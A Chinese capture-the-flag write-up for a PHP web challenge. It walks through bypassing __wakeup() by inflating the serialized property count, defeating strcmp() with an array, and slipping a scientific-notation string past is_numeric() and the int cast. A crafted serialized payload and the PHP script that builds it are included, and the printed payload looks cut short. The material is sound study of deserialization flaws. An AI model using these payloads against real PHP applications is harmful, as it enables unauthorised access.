论剑场web12 反序列化+函数绕过

1. 进入题目,页面只有Please don't stop rua 233333;先查看源码,发现有一段PHP代码。

2. 审计PHP代码,由两个部分组成,
Time类
  __wakeup()函数 :设置password的值为1
  __destruct()函数:
    a. empty($password):要求$password的值不为空
    b. strcmp($password,$truepassword):要求$password和$truepassword的值相同
    c. !is_numeric($time):要求$time的值为一个数字;要求 66 * 55 * 44 * 33 * 23 * 11< $time <11 * 22 * 33 * 44 * 55 * 66;
       对$time的值强转为int类型后,sleep()页面休眠时间为$time
以get形式传递一个参数rua,并对rua的参数值进行反序列化操作。
3. 思路
  a. 由于对rua的参数值进行反序列化操作,可以与Time类中的__wakeup()函数关联起来。在执行wakeup函数后,再继续执行类销毁函数__destruct()函数。
  b. 执行__destruct()函数时,要求$password值不为空且值与$truepassword相同,由于不知道$truepassword的值,并且在__wakeup()函数,会给$password赋值为1,因此这里要绕过__wakeup()函数
  c. 要求$time的值为一个数字且在一定范围呢,并且强转后sleep()的时间不可能为一个大数字,因此这里可以考虑通过科学计数法一方方面满足取值范围要求,一方面强转int后的值为一个小数字。
4. payload
$time传入为一个字符串,但是根据php弱语言的特性,会把这个科学计数法的字符串认为是一个数字,从而绕过ise_nemeric(),同时在int强转的时候,由于$time是一个字符串,int强转会把它转换为0,如果字符串开头部分有1就强转为1。(也可以通过16进制形式字符串)
传递参数?rua=O:4:"Time":5:{s:4:"flag";N;s:12:"truepassword";N;s:4:"time";s:6:"01.3e9";s:8:"password";a:2:{i:0;i:1;i:1;i:2;

<?php

    class Time{
        public $flag;
        public $truepassword ;
        public $time;
        public $password ;
        public function __construct($tt, $pp) {
        $this->time = $tt;
        $this->password = $pp;
        }
        
    }

    $a = new Time('01.3e9',array(1,2));
    $a = str_replace('":4:','":5:',serialize($a));    
    
    echo ($a);
?>

5. 知识点总结
a. 反序列化绕过__wakeup()函数,通过修改反序列化后的字符串中属性个数。
b. is_numeric()函数:弱类型语言的特点,可以传入数字形式的字符串
c. strcmp()字符串比较函数,在php5.3以后的版本中可以让其中一个参数为其他形式的数据如数组,即可使函数的返回值为0,而两字符串相同返回值也为0,就达到了绕过的目的。
d. int强转类型,如果强转的数据是字符串形式的16进制数字(0x开头),结果为0;强转的数据是科学计数法形式的字符,结果由字符串第一位决定。同样也是由于弱语言的特点造成的。

原文地址:https://www.cnblogs.com/ersuani/p/web12.html